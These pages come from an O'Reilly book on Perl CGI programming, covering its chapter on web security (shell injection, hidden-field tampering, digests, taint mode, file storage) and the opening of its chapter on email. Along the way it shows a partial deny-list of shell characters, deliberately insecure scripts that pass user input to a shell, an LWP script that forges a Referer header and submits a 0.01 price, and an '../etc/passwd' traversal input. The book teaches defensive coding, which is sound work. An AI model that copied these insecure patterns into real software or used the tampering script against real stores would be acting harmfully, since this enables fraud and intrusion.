if ( $string =~ /[`\$\\"';& ...  ] ) {
    error( $q,
        "Your text may not include these characters: `\$\\\"';& ..." );
}

This example is not complete, and we will not provide a full list of dangerous characters here. We won't create such a list because we do not trust that we will not miss something important, and that is why this is the wrong way to go about solving the problem. This solution requires you to know every possible way that the shell can execute a dangerous command. If you miss just one thing, you can be compromised.

8.2.3. Security Strategies

The right way is not to make a list of what to disallow. The right way is to make a list of what to allow. This makes the solution much more manageable. If you start by saying that anything goes and looking for those things that cause problems, you will spend a long time looking. There are countless combinations to check. If you say that nothing goes and then slowly add things, you can check each of these as you add them and confirm that nothing will slip past you. If you miss something, you have disallowed something you should allow, and you can correct the problem by testing it and adding it. This is a much safer way to error.

The final reason why this is the safer way to go is that security solutions should be simple. It's never a good idea to simply trust someone else who provides you a "definitive" list of something as important as dangerous shell characters to check against. You are the one who is accountable for your code, so you should fully understand why and how your code works, and not place blind faith in others.

So let's make a list of things to allow. We will allow letters, numbers, underscores, spaces, hyphens, periods, question marks, and exclamation points. That's a lot, and it should cover most of the strings that users try to convert. Let's also switch to single quotes around the argument to make things even safer. Example 8-3 provides a more secure version of our CGI script.

Example 8-3. figlet_INSECURE2.cgi

#!/usr/bin/perl -w

use strict;
use CGI;
use CGIBook::Error;

my $FIGLET = '/usr/local/bin/figlet';

my $q      = new CGI;
my $string = $q->param( "string" );

unless ( $string ) {
    error( $q, "Please enter some text to display." );
}

unless ( $string =~ /^[\w .!?-]+$/ ) {
    error( $q, "You entered an invalid character. " .
               "You may only enter letters, numbers, " .
               "underscores, spaces, periods, exclamation " .
               "points, question marks, and hyphens." );
}
local *PIPE;

## This code is more secure, but still dangerous...
## Do NOT use this code on a live web server!!
open PIPE, "$FIGLET '$string' |" or
    die "Cannot open figlet: $!";

print $q->header( "text/plain" );
print while <PIPE>;
close PIPE;

This code is much better. It isn't dangerous in its current form. The only problem is that someone can come along at some later point and make minor changes that could render the script insecure again. Of course, we can't cover every possibility -- we have to draw the line somewhere. So are we being too critical to say the script could be more secure? Perhaps, but it always best to be safer rather than sorry when dealing with web security. We can improve this script because there is a way to open a pipe to another process in Perl and bypass the shell altogether. All right, you say, so why didn't we say so in the first place? Unfortunately, this trick only works on those operating systems where Perl can fork, so this does not work on Win32[14] or MacOS, for example.

[14]As this book was going to press, the most recent versions of ActiveState Perl supported fork on Win32.

8.2.4. fork and exec

All we need to do is replace the command that opens the pipe with the following lines:

## Ahh, much safer
my $pid = open PIPE, "-|";
die "Cannot fork $!" unless defined $pid;

unless ( $pid ) {
    exec FIGLET, $string or die "Cannot open pipe to figlet: $!";
}

This uses a special form of the open function, which implicitly tells Perl to fork and create a child process with a pipe connected to it. The child process is a copy of the current executing script and continues from the same point. However, open returns a different value for each of the forked processes: the parent receives the process identifier (PID) of the child process; the child process receives 0. If open fails to fork, it returns undef.

After verifying that the command succeeded, the child process calls exec to run figlet. exec tells Perl to replace the child process with figlet, while keeping the same environment including the pipe to the parent process. Thus, the child process becomes figlet and the parent keeps a pipe to figlet, just as if it had used the simpler open command from above.

This is obviously a little more complicated. So why all this work if we still have to call figlet from exec? Well, if you look closely, you'll notice that exec takes multiple arguments in this script. The first argument is the name of the process to run, and the remaining arguments are passed as arguments to the new process, but Perl does this without passing them through the shell. Thus, by making our code a little more complex, we can avoid a big security problem.

8.2.5. Trusting the Browser

Let's look at another common security mistake in CGI scripts. You may think that the only data coming from the user you have to validate is the data they are allowed to edit. For example, you might think that data embedded in hidden fields or select lists is safer than data in text fields because the browser doesn't allow users to edit them. Actually, these can be just as dangerous. Let's see why.

In this example, we'll look at a simple online software store. Here, each product has its own static HTML page and each page calls the same CGI script to processes the transaction. In order to make the CGI script as flexible as possible, it takes the product name, quantity, and price from hidden fields in the product page. It then collects the user's credit card information, charges the card for the full amount, and allows the user to download the software.

Example 8-4 shows a sample product page.

Example 8-4. sb3000_INSECURE.html

<html>
  <head>
    <title>Super Blaster 3000</title>
  </head>

  <body bgcolor="#FFFFFF">
    <h2>Super Blaster 3000</h2>
    <hr>

    <form action="https://localhost/cgi/buy.cgi" method="GET">
      <input type="hidden" name="price" value="30.00">
      <input type="hidden" name="name" value="Super Blaster 3000">

      <p>Experience Super Blaster 3000, the hot new game that
        everyone is talking about! You can't find it in stores, so
        order your copy here today. Just a quick download and you
        can be playing it all night!</p>

      <p>The price is $30.00 (USD) per license. Enter the number
        of licenses you want, then click the <i>Order</i> button to
        enter your order information.</p>

      <p>Number of Licenses:
        <input type="text" name="quantity" value="1" size="8"></p>
      <input type="submit" name="submit" value="Order">

    </form>
  </body>
</html>

We don't need to look at the CGI script in this example, because the problem isn't what it does, it's how it's called. For now, we're interested in the form, and the security problem here is the price. The price is in a hidden field, so the form should not allow users to change the price. You may have noticed, however, that because the form is submitted via GET, the parameters will be clearly visible in the URL in your browser window. The previous example with one license generates the following URL (ignore the line break):

https://localhost/cgi/buy.cgi?price=30.00&
name=Super+Blaster+3000&quantity=1&submit=Order

By modifying this URL, it is possible to change the price to anything and call the CGI script with this new value.

Do not be deceived into thinking that you can solve this problem by changing the request method to POST. Many web developers use POST even when it is not appropriate (see GET and POST in Section 2.3, "Browser Requests") because they believe it makes their scripts more secure against URL tampering. This is false security. First of all, CGI.pm, like most modules that parse form input, does not differentiate between data obtained via POST or GET. Just because you change your form to call the script via POST does not mean that the user cannot manually construct a query string to call your script via GET instead. To prevent this, you could insert code like this:

unless ( $ENV{REQUEST_METHOD} eq "POST" ) {
    error( $q, "Invalid request method." );
}

However, the user can always copy your form to their own system. Then they can change the price to be an editable text field in their copy of the form and submit it to your CGI. Nothing inherent to HTTP prevents an HTML form on one server from calling a CGI script on another server. In fact, a CGI script can not reliably determine what form was used to submit data to it. Many web developers attempt to use the HTTP_REFERER environment variable to check where form input came from. You can do so like this:

my $server = quotemeta( $ENV{HTTP_HOST} || $ENV{SERVER_NAME} );
unless ( $ENV{HTTP_REFERER} =~ m|^https?://$server/| ) {
    error( $q, "Invalid referring URL." );
}

The problem here is that you have gone from trusting the user to trusting the user's browser. Don't do this. If the user is surfing with Netscape or Internet Explorer, you may be okay. It is possible that a bug could cause the browser to send the wrong referring URL, but this is unlikely. However, whoever said that users had to use one of these browsers?

There are many web browsers available, and some are far more configurable than Netscape and Internet Explorer. Did you know that Perl even has its own web client of sorts? The LWP module allows you to create and send HTTP requests easily from within Perl. The requests are fully customizable, so you can include whatever HTTP headers you wish, including Referer and User-Agent. The following code would allow someone to easily bypass all the security checks we've listed earlier:

#!/usr/bin/perl -w

use strict;

use LWP::UserAgent;
use HTTP::Request;
use HTTP::Headers;
use CGI;

my $q = new CGI( {
    price    => 0.01,
    name     => "Super Blaster 3000",
    quantity => 1,
    submit   => "Order",
} );

my $form_data = $q->query_string;

my $headers = new HTTP::Headers(
    Accept       => "text/html, text/plain, image/*",
    Referer      => "http://localhost/products/sb3000.html",
    Content_Type => "application/x-www-form-urlencoded"
);

my $request = new HTTP::Request(
    "POST",
    "http://localhost/cgi/feedback.cgi",
    $headers
);

$request->content( $form_data );

my $agent = new LWP::UserAgent;
$agent->agent( "Mozilla/4.5" );
my $response = $agent->request( $request );

print $response->content;

We're not going to review how this code works now, although we'll discuss LWP in Chapter 14, "Middleware and XML". Right now, the important thing to understand is that you can't trust any data that comes from the user, and you can't trust the browser to protect you from the user. It's trivially easy for someone with a little knowledge and a little ingenuity to provide you with any input they want.

Previous | Home | Next
8. Security | Book Index | 8.3. Encryption
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Encryption (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

8.3. Encryption

Encryption can be an effective tool when developing secure solutions. There are two scenarios where it is especially useful for web applications. The first is to protect sensitive data so that it cannot be intercepted and viewed by others. A secure https connections using SSL (or TLS) provides this protection. The second scenario involves validation, such as ensuring that the user has not tampered with the values of hidden fields in a form. This is handled by generating hashes, or digests, that can be used like checksums to verify that the data matches what is expected.

You could use a hash algorithm, such as MD5 or SHA-1, to secure Example 8-3. You would do this by generating a digest for both the data on the page -- the product name and price -- and a secret phrase stored on the server:

use constant $SECRET_PHRASE => "ThIs phrAsE ShOUld bE DiFFiCUlT 2 gueSS.";
my $digest = generate_digest( $name, $price, $SECRET_PHRASE );

You could then insert the value of the digest into your form as an additional hidden field, as shown in Example 8-5.

Example 8-5. sb3000.html

<html>
  <head>
    <title>Super Blaster 3000</title>
  </head>

  <body bgcolor="#FFFFFF">
    <h2>Super Blaster 3000</h2>
    <hr>

    <form action="https://localhost/cgi/buy.cgi" method="GET">
      <input type="hidden" name="price" value="30.00">
      <input type="hidden" name="name" value="Super Blaster 3000">
      <input type="hidden" name="digest"
        value="a38b37b5c80a79d2efb31ad78e9b8361">
      .
      .

When the CGI script receives the input, it recalculates a digest from the product's name and price along with the secret phrase. If it matches the digest that was supplied from the form, then the user has not modified the data.

The value of your secret phrase must not be easy to guess, and it should be protected on your server. Like passwords and other sensitive data, you may wish to place your secret phrase in a file outside of your CGI directory and document root and have your CGI scripts read this value when it is needed. This way, if a misconfiguration in your web server allows users to view the source of your CGI scripts, then your secret phrase would not be compromised.

In this example, the simplest solution may be to simply look up the prices on the server and not pass them through hidden fields, but there are certainly circumstances when you must expose data like this, and digests are an effective way to verify your data.

Now let's look at how to actually generate digests. We will look at two algorithms: MD5 and SHA-1.

8.3.1. MD5

MD5 is a 128-bit, one-way hash algorithm. It produces a short message digest for your data that is extremely unlikely to be produced for other data. However, from a digest it is not possible to derive the original data. The Digest::MD5 module allows you to create MD5 digests in Perl.[15]

[15]You may also see references to the MD5.pm module; MD5.pm is deprecated and is now only a wrapper to the Digest::MD5 module.

The digest that Digest::MD5 generates for you is available in three different formats: as raw binary data, converted to hexadecimal, and converted to Base64 format. The latter two formats produce longer strings, but they can be safely inserted within HTML, email, etc. The hexadecimal digest is 32 characters; the Base64 digest is 22 characters. Base64 encoding uses characters A-Z, a-z, 0-9, +, /, and =.

You can use the Digest::MD5 module this way to generate a hexadecimal digest:

use Digest::MD5 qw( md5_hex );
my $hex_digest = md5_hex( @data );

You can use the Digest::MD5 module this way to generate a Base64 digest:

use Digest::MD5 qw( md5_base64 );
my $base64_digest = md5_base64( @data );

It is still possible for someone who has a digest and who knows possible original values to generate digests for each of the possible values to compare against the target digest. Thus, if you wish to generate digests that cannot be guessed, you should supply data that varies enough to not be predictable.

The MD5 algorithm has received criticism within the last few years because researchers discovered internal weaknesses, which may make it easier to find different sets of data that produce the same digest. No one has done this, because it is still quite challenging, but the challenge looks smaller than previously assumed, and it may happen in the near future. This does not mean that it is any easier for someone to generate the original data from a digest, only that it may eventually be possible to calculate other data that collides with the digest. The SHA-1 algorithm does not currently have this problem.

8.3.2. SHA-1

Digest::SHA1, which is included in Digest::MD5, provides an interface to the 160-bit SHA-1 algorithm. It is considered more secure than MD5, but it does take longer to generate. You can use it just like Digest::MD5:

use Digest::SHA1 qw( sha1_hex sha1_base64 );
my $hex_digest    = sha1_hex( @data );
my $base64_digest = sha1_base64( @data );

Hexadecimal SHA-1 digests are 40 characters; Base64 digests are 27 characters.

Previous | Home | Next
8.2. Handling User Input | Book Index | 8.4. Perl's Taint Mode
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl's Taint Mode (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

8.4. Perl's Taint Mode

If you have been paying close attention, you may have noticed that the example scripts in this chapter are all a little different from previous examples. The difference appears at the end of the first line. All of our prior examples have had this as the first line:

#!/usr/bin/perl -wT

In this chapter, they have started like this:

#!/usr/bin/perl -w

The difference is the -T option, which enables Perl's taint mode. Taint mode tells Perl to keep track of data that comes from the user and avoid doing anything insecure with it. Because our examples this chapter intentionally showed insecure ways of doing things, they wouldn't have worked with the -T flag, thus we omitted it. From this it should be clear, however, that taint mode is generally a very good thing.

The purpose of taint mode is to not allow any data from outside your application from affecting anything else external to your application. Thus, Perl will not allow user-inputted values to be used in an eval, passed through a shell, or used in any of the Perl commands that affect external files and processes. It was created for situations when security is important, such as writing Perl programs that run as root or CGI scripts. You should always use taint mode in your CGI scripts.

8.4.1. How Taint Works

When taint mode is enabled, Perl monitors every variable to see if it is tainted. Tainted data, according to Perl, is any data that comes from outside your code. Because this includes anything read from STDIN (or any other file input) as well as all environment variables, this covers everything your CGI script receives from the user.

Not only does Perl keep track of whether variables are tainted or not, but that taintedness follows the data in the variable around if you try to assign it to another variable. For example, because it is an environment variable, Perl considers the HTTP request method stored in $ENV{REQUEST_METHOD} to be tainted. If you then assign this to another variable, that variable also becomes tainted.

my $method = $ENV{REQUEST_METHOD};

Here $method also becomes tainted. It does not matter whether the expression simple or complex. If a tainted value is used in an expression, then the result of that expression is also tainted, and any variable it is assigned to will also become tainted.

You can use this subroutine to test whether a variable is tainted.[16] It returns a true or false value:

[16]The perlsec manpage suggests a subroutine that uses Perl's kill function to test for taintedness. Unfortunately, the kill function is not supported by many systems. The subroutine provided here should work on any platform.

sub is_tainted {
    my $var = shift;
    my $blank = substr( $var, 0, 0 );
    return not eval { eval "1 || $blank" || 1 };
}

We set $blank to a zero-length substring of the variable we're testing. If the value is tainted and we are running in taint mode, Perl will throw an error when we evaluate this in the quoted expression on the following line. This error is caught by the outer eval, which then returns undef. If the variable is not tainted or we are not running in taint mode, then the expression within the outer eval evaluates to 1. The not reverses the resulting values.

8.4.2. What Is Monitored by Taint Mode

One of the great benefits of using taint mode is that you don't have to try to understand all the technical details about how Perl's guts do the work. As we have seen, Perl sometimes passes expressions through an external shell to help it interpret arguments to system calls. There are even more subtle situations when Perl will invoke a shell, but you don't need to worry about mapping all of these instances out, because taint mode recognizes them for you.

The basic rule, as we have said, is that Perl considers any action that could modify resources outside the script subject to enforcement. Thus, you may open a file using a tainted filename and read from it as long as you did so in read-only mode. However, if you try to open the file to write to it, using a tainted filename, Perl will abort with an error.

8.4.3. How Taintedness Is Removed

Taint mode would be much too restrictive if there was no way to untaint your data. Of course, you do not want to untaint data without checking it to verify that it is safe. Fortunately, one command can accomplish both of these tasks. It turns out that Perl does allow one expression involving tainted values to evaluate to an untainted value. If you match a variable with a regular expression, then the pattern match variables that correspond to the matched parentheses (e.g., $1, $2, etc.) are untainted. If, for example, you wanted to get a particular filename for the user while making sure that it doesn't include a full path (so the user cannot write to a file outside the directory you are intending), you could untaint the user input this way:

$q->param( "filename" ) =~ /^([\w+.])$/;
my $filename = $1;

unless ( $filename ) {
    .
    .
    .

You can reduce the first two lines to one line because a regular expression match returns a list of matches, and these are also untainted:

my( $filename ) = $q->param( "filename" ) =~ /^([\w.])$/;

unless ( $filename ) {
    .
    .
    .

You have seen this notation previously in many of our examples. Note that because the result of the regular expression is a list, you must include parentheses around $filename to evaluate it in a list context. Otherwise, $filename will be set to the number of successful parenthesized matches (1 in this case).

8.4.3.1. Allowing versus disallowing

Remember what we said previously. It is generally better to determine what characters to allow than to try to determine what not to allow. Build your untaint regular expressions with this in mind. In this example, we only allowed letters, numbers, underscores, and periods in the filename, which is much simpler than scanning against possible file path delimiters.

8.4.4. Why Use Taint Mode?

Perl's taint mode doesn't do anything for you that you can't do for yourself. It simply monitors the data and stops you if you're in danger of shooting yourself in the foot. You could be careful on your own, but it certainly helps to have Perl do its best to help. In general, the best argument for using taint mode is simply turn the question around and ask "Why not use taint mode?"

Many CGI developers can come up with excuses for not using taint mode, but none of them really hold water. Some may find it too difficult or complicated to deal with the restrictions that taint mode imposes. This is generally because they don't fully understand how taint mode works and they find it easier to turn it off than to learn how to fix the problems Perl is trying to point out (see the next section for some help).

Other developers may argue that taint mode slows their scripts down more than they can afford. Believe it or not, taint mode does not significantly slow down your scripts. If you are concerned about performance, don't implicitly assume that taint mode must slow down your code. Use the Benchmark module and test the difference; you may be surprised at the results. We'll discuss how to use the Benchmark module in Chapter 17, "Efficiency and Optimization".

The final reason to use taint mode is that CGI scripts rarely remain unchanged. Bugs are fixed, new features are added, and even though the original code may have been perfectly safe, someone may accidentally change all that. You can think of taint mode as an ongoing security audit that Perl provides for free.

8.4.5. Common Problems with Taint Mode

When you first start working with taint mode, it can be annoying because it seems to complain about everything. Of course, once you have gained a little experience, you learn what to watch out for and begin to write safe code without having to think about it.

Here are some basic tips to help you with the major problems you will first encounter:

  • Your PATH must be secure. If you call any external programs, you must make sure that $ENV{PATH} does not contain any directories that can be modified by anyone other than their owner. Perl doesn't care if you provide the full path to the program you are calling or not; the PATH must still be secure since the program you are invoking may use the inherited PATH.

  • @INC will not include the current working directory. If your script needs to require or use other Perl code in the current directory, you must explicitly add the current directory to @INC or include the full or relative path to your code in the command.

  • Get rid of risky environment variables you don't need. In particular, delete IFS, CDPATH, ENV, and BASH_ENV.

It's common to add something like these two lines to CGI scripts running in taint mode (the PATH you choose may vary depending on your needs and your system):

$ENV{PATH} = "/bin:/usr/bin";
delete @ENV{ 'IFS', 'CDPATH', 'ENV', 'BASH_ENV' };
Previous | Home | Next
8.3. Encryption | Book Index | 8.5. Data Storage
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Storage (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

8.5. Data Storage

There are a number of security issues specifically related to reading and writing data. We'll discuss data storage in much greater detail in Chapter 10, "Data Persistence". Let's review the security issues now.

8.5.1. Dynamic Filenames

You should be extra careful when opening files where the filename is dynamically generated based upon user input. For example, you may have data arranged according to date, with a separate directory for each year and a separate file for each month. If you have a CGI script that allows the user to search for records in this file according to month and year, you would not want to use this code:

#!/usr/bin/perl -wT

use strict;
use CGI;
use CGIBook::Error;

my $q = new CGI;
my @missing;

my $month = $q->param( "month" ) or push @missing, "month";
my $year  = $q->param( "year"  ) or push @missing, "year";
my $key   = quotemeta( $q->param( "key" ) ) or push @missing, "key";

if ( @missing ) {
    my $fields = join ", ", @missing;
    error( $q, "You left the following required fields blank: $fields."  );
}

local *FILE;

## This is INSECURE unless you first check the validity of $year and $month
open FILE, "/usr/local/apache/data/$year/$month" or
    error( $q, "Invalid month or year" );

print $q->header( "text/html" ),
      $q->start_html( "Results" ),
      $q->h1( "Results" ),
      $q->start_pre;

while (<FILE>) {
    print if /$key/;
}

print $q->end_pre,
      $q->end_html;

Any user who supplied "../../../../../etc/passwd" as a month could browse /etc/passwd -- probably not a feature you want to provide. Assuming that your web form passes two-digit numbers for months and days, you should add the following lines:

unless ( $year =~ /^\d\d$/ and $month =~ /^\d\d$/ ) {
    error( $q, "Invalid month or year" );
}

You may have noticed that taint mode is enabled and wondered why it did not catch this security problem. Remember, the function of taint mode is to not allow you to accidentally use data that comes from outside your program to change resources outside your program. This code does not attempt to change any outside resources, so taint mode sees no reason to stop the script from reading /etc/passwd. Taint mode will only stop you from opening a file with an user-supplied filename if you are opening the file to write to it.

In this example, we were reading from a text file, but this security issue applies to other forms of data storage too. We could have just as easily been reading from a DBM file instead. Likewise when you use a RDBMS, you must specify what database you wish to connect to, and it is very poor design to allow the user to specify what database to open and read.

8.5.2. Location of Files

Your data files should not be directly browsable by the user, so they should not be in the web server's document tree. This is a mistake people frequently make when installing third party web applications. Many freely available web applications are distributed with all of their files -- including configuration files that contain important data like administrative passwords -- in one directory to make them easy to install. If you install the application as it comes packaged, then anyone who is familiar with the application can access the configuration information and possibly exploit it. Often these applications allow you to change filenames relatively easily, so some developers try to hide important data files by renaming them from their default name to a more obscure name. A much better solution is to move them out of the web document tree altogether.

Unless you store all of your data in an RDBMS, you should have a standard data tree just like your web document tree where you can store all your application data. Give each web application a subdirectory under the root data directory. Do not configure the web server to serve files out of this directory. In our examples, we use /usr/local/apache/data as the root of our data tree.

8.5.3. File Permissions

You should use your web server's filesystem to help you control read and write access to data files. On Unix systems, each directory and file has an owner, a group, and a set of permissions. The web server also runs as a particular user and group, such as nobody.

The web server should not have write access to any file it doesn't need to write to. This simple guideline may sound obvious, but it is often ignored in practice.

Data files that your scripts only need to read should be owned by nobody , and they should have a restrictive file permission like 0644. If the web server needs to be able to write to a file and it is not the creator of the file, you may want to set the group of the file to nobody and enable the group write bit by setting its permission to 0664.

If the web server needs to be able to create files or subdirectories within a directory, then that directory must be writable. Assign its group to nobody and change the permissions to 0775; otherwise, directories should be 0755. Realize that if you make a directory writable, then existing files can be deleted or replaced even if these files themselves are read-only.

Previous | Home | Next
8.4. Perl's Taint Mode | Book Index | 8.6. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

8.6. Summary

If you remember one thing from this chapter, it should be that you should never trust the user or the browser. Always double-check your input, avoid the shell, and use taint mode. Also, your system should be designed so that if crackers do break into your web server, they do not gain much. Web servers are frequent targets because they are the most visible system a company has, as well as the most easy to break into (though following the suggestions in this chapter certainly helps). Therefore, do not store important data (e.g., unencrypted credit card numbers) on the machine. Likewise, avoid creating trust relationships between the web server and other machines. Your network should be configured so that someone who manages to crack into your web server should not have easy access to the rest of your network.

Previous | Home | Next
8.5. Data Storage | Book Index | 9. Sending Email
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sending Email (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 9. Sending Email

Contents:

Security
Email Addresses
Structure of Internet Email
sendmail
mailx and mail
Perl Mailers
procmail

One of the most common tasks your CGI scripts need to perform is sending email. Email is a popular method for exchanging information between people, whether that information comes from other people or from automated systems. You may need to send email updates or receipts to visitors of your web site. You may need to notify members of your organization about certain events like a purchase, a request for information, or feedback about your web site. Email is also a useful tool to notify you when there are problems with your CGI scripts. When you write subroutines that respond to errors in your CGI scripts, it is a very good idea to include code to notify whomever is responsible for maintaining the site about the error.

There are several ways to send email from an application, including using an external mail client, such as sendmail or mail, or by directly communicating with the remote mail server via Perl. There are also Perl modules that make sending mail especially easy. We'll explore all these options in this chapter by building a sample application that provides a web front end to an emailer.

9.1. Security

Since the subject of security is still fresh in our minds, however, we should take a moment to review security as it relates to email. Sending email is probably one of the largest causes of security errors in CGI scripts.

9.1.1. Mailers and Shells

Most CGI scripts open a pipe to an external mail client such as sendmail and mail, and pass the email address through the shell as a parameter. Passing any user data through a shell is a very bad thing as we saw in the previous chapter (if you skipped ahead to this chapter, it would be wise to go back and review Chapter 8, "Security", before continuing). Unless you like living dangerously, you should never pass an email address to an external application via a shell. It is not possible to verify that email addresses contain only certain safe characters either. Contrary to what you may expect, a proper email address can contain any valid ASCII character, including control characters and all those troublesome characters that have special meaning in the shell. We'll review what comprises a valid email address in the next section.

9.1.2. False Identities

You have likely received email claiming to be from someone other than the true sender. It happens all the time with unsolicited bulk email (spam). Falsifying the return address in an email message is very simple to do, and can even be quite useful. You probably would rather have email messages sent by your web server appear to come from actual individuals or groups within your company than the user (e.g., nobody) that the web user runs as. We'll see how to do this in our examples later in this chapter.

So how does this relate to security? Say, for example, you create a web form that allows users to send feedback to members of your organization. You decide to generalize the CGI script responsible for this so you don't have to update it when internal email addresses change. Instead, you insert the email addresses into hidden fields in the feedback form since they're easier to update there. However, you do take security precautions. Because you recognize that it's possible for a cracker to change hidden fields, you are careful not to pass the email addresses through a shell, and you treat them as tainted data. You handled all the details correctly, but you still have a potential security problem -- it's just at a higher level.

If the user can specify the sender, the recipient, and the body of the message, you are allowing them to send any message to anyone anywhere, and the resulting message will originate from your machine. Anyone can falsify the return address in an email message, but it is very difficult to try to mask the message's routing information. A knowledgeable person can look at the headers in an email message and see where that message truly originated, and all the email messages your web server sends out will clearly originate from the machine hosting it.

Thus this feedback page is a security problem because crackers given this much freedom could send damaging or embarrassing email to whomever they wanted, and all the messages would look like they are from your organization. Although this may not seem as serious as a system breach, it is still something you probably would rather avoid.

9.1.3. Spam

Spam, of course, refers to unsolicited junk email. It's those messages that you get from someone you've never heard of advertising weight loss plans, get-rich schemes, and less-than-reputable web sites. None of us like spam, so be certain your web site doesn't contribute to the problem. Avoid creating CGI scripts that are so flexible that they allow the user to specify the recipient and the content of the message. The previous example of the feedback page illustrates this. As we saw in the last chapter, it is not difficult to create a web client with LWP and a little bit of Perl code. Likewise, it would not be difficult for a spammer to use LWP to repeatedly call your CGI script in order to send out numerous, annoying messages.

Of course, most spammers don't operate this way. The big ones have dedicated equipment, and for those who don't, it's much more convenient to hijack an SMTP server, which is designed to send mail, than having to pass requests through a CGI script. So even if you do create scripts that are wide open to hijacking, the chances that someone will exploit it are slim ... but what if it does happen? You probably do not want to face the mass of angry recipients who have tracked the routing information back to you. When it comes to security, it's always better to play it safe.

Previous | Home | Next
8.6. Summary | Book Index | 9.2. Email Addresses
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Email Addresses (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

9.2. Email Addresses

Part of handling mail includes handling email addresses. Collecting email addresses from users seems to be part of almost any registration form on the Web.[17] You may wonder how you can know whether an email address entered into a form is valid. The simple answer, of course, is that you can't. You can validate that the email address is syntactically valid (although this is considerably more difficult than you might expect), but you cannot know whether the email address actually corresponds to a valid account or not.

[17]This isn't necessarily a good thing. Many sites have adopted the common practice of requiring an email address for accessing otherwise free services. These sites often allow the user to check a checkbox to be exempted from mass mailings, but if this is optional, then why is entering an email address not optional? If you are asked to create forms like this, please ask yourself and your sponsors why you are collecting private information. If you have a good reason, then explain it on your registration form. If not, then there is no reason to collect more than you need; user privacy should not be an afterthought.

You may think you should be able to make a query to an SMTP server to check whether an email address is valid or not. In fact, the SMTP protocol supports a command to validate an email address. Unfortunately, this really cannot be used in practice. There are two problems.

The first problem is that the SMTP server responsible for handling the mail for that email address may not always be accessible. There may be intermediate network outages, and even when the network is fine, mail servers are frequently overloaded and may refuse requests. These are not typically a problem for Internet mail because other mail servers trying to deliver to them maintain queues of messages and retry several times, often for days, before giving up. However, if you need immediate verification, the mail server may not be available to give it to you.

The second problem is that even when the final SMTP server is available, it may not provide reliable information. Many SMTP servers simply gateway messages to an internal mail system, which may speak another protocol and be located on another network. Because of this, one of these SMTP gateways may not know which email addresses are valid on the other network; it may simply be set up to forward all Internet mail. Therefore, when this SMTP server is asked to verify an email address, it may state that any email address addressed to its domain is deliverable, whether it is or not.

The best that you can do if you need to validate an email address is send an actual email to that address and ask the user to respond. We will look at ways to write scripts to respond to email later in this chapter. For now lets look at how to recognize syntactically valid email addresses.

9.2.1. Validating Syntax

A common question that new CGI developers ask is what the regular expression for matching email addresses looks like. If you ask around, some people will refer you to a book called Mastering Regular Expressions by Jeffrey Friedl (O'Reilly & Associates, Inc.). Others might give you a simple expression that checks for "@" and that checks that the domain name ends in a dot and two or three letters. In fact, neither of these answers is fully accurate.

To understand why, let's review a little history. The standard document for defining email address names is RFC 822. It was published in 1982. Does that seem like a long time ago to you? It should. The Internet was radically different then. In fact, it wasn't called the Internet then -- it was a collection of many different networks, including ARPAnet, Bitnet, and CSNET, each with their own naming conventions. TCP/IP was being introduced as a new networking protocol and hosts only numbered in the hundreds. It wasn't until 1983 that serious work began on implementing domain name servers. The hierarchical names that we recognize today like www.oreilly.com did not exist back then.

So that is half of the story. The other half of the story is that Jeffrey Friedl, in his book Mastering Regular Expressions, tackled creating a regular expression to handle the parsing of RFC 822 email addresses. The book is the best reference for understanding regular expressions in Perl or any other context. Many people cite the regular expression he constructs as the only definitive test of whether an Internet email address is valid. But unfortunately these people have misunderstood what it does; it tests for compliance with RFC 822. According to RFC 822, these are all syntactically valid email addresses:

Alfred Neuman <Neuman@BBN-TENEXA>
":sysmail"@  Some-Group. Some-Org
Muhammed.(I am  the greatest) Ali @(the)Vegas.WBA

Do any of them look like the type of email address you'd want to capture in an HTML form? It is true that RFC 822 has not been superseded by another RFC and is still a standard, but it is equally true that the problem we are trying to solve is radically different in time and context from the problem that it solved in 1982.

We want an expression to recognize a syntactically valid email address as required on the Internet today. We are interested only in today's standard Internet domain-naming convention. That would actually rule out all of the above addresses, since none of them end in one of our current top level domains (.com, .net, .edu, .uk, etc.). There are other important distinctions.

The first example is a full email address including a name and what RFC 822 refers to as the address specification in angled brackets. You may have seen this expanded syntax in your email software. We do not need, and probably don't want, this additional information in an email address captured in a form. In all likelihood, the user's name is being captured separately in other fields. When we need to validate an email address that a user has entered, we are generally only interested in the address specification itself. So henceforth when we refer to an email address, we are simply referring to this address specification, the user@hostname part.

The second example contains a quoted element (any group of characters separated by a "." or a "@" we will refer to as an element [18]). Quoted elements are completely acceptable and still work fine on today's Internet. If you want to accept valid email addresses, you should accept quoted elements. Only elements on the left side of the "@" may be quoted, but any ASCII character is allowed within quotes (some have to be escaped with a backslash). This is why any check in our code for "invalid characters" in an email address would be flawed, and this is why it is very dangerous to pass email addresses through a shell as an argument to a command.

[18]RFC 822 more technically refers to this as an "atom."

The second email address also includes spaces. Spaces (and tabs) are legal between any element and at the beginning and end of the email address. However, it doesn't change the meaning to remove them and that is exactly what emailers generally do when you send a message to an email address containing spaces. Note, however, that you cannot simply remove every space in an email address since spaces appearing within quotes do carry meaning and must be left intact. Only those appearing outside of quotes can be removed. We will strip them in our example. We probably don't have to; it is not unreasonable to expect your users to enter the email address without extra spaces.

The last example contains comments. It is perfectly legal to include comments, which are enclosed within parentheses, anywhere where spaces are allowed. Comments are only intended to pass additional information to humans, and machines can ignore them. Thus, it is rather silly to enter them into an automated web form. We will simplify our code by not accepting comments in the email addresses we are checking.

So here is the code that we will use to validate email addresses. It is considerably shorter than the example given by Mr. Friedl, but it is not nearly so flexible. It does not support comments, it removes spaces before validating, and it limits hosts to modern domain names and IP addresses. Nonetheless, it is quite complicated, and the regular expression to perform the check would be too difficult to type out. Instead, we build it through a number of intermediate variables. The process of doing this is too involved to explain here. If you want to understand how to build complex regular expressions like this, we highly recommend Mastering Regular Expressions.

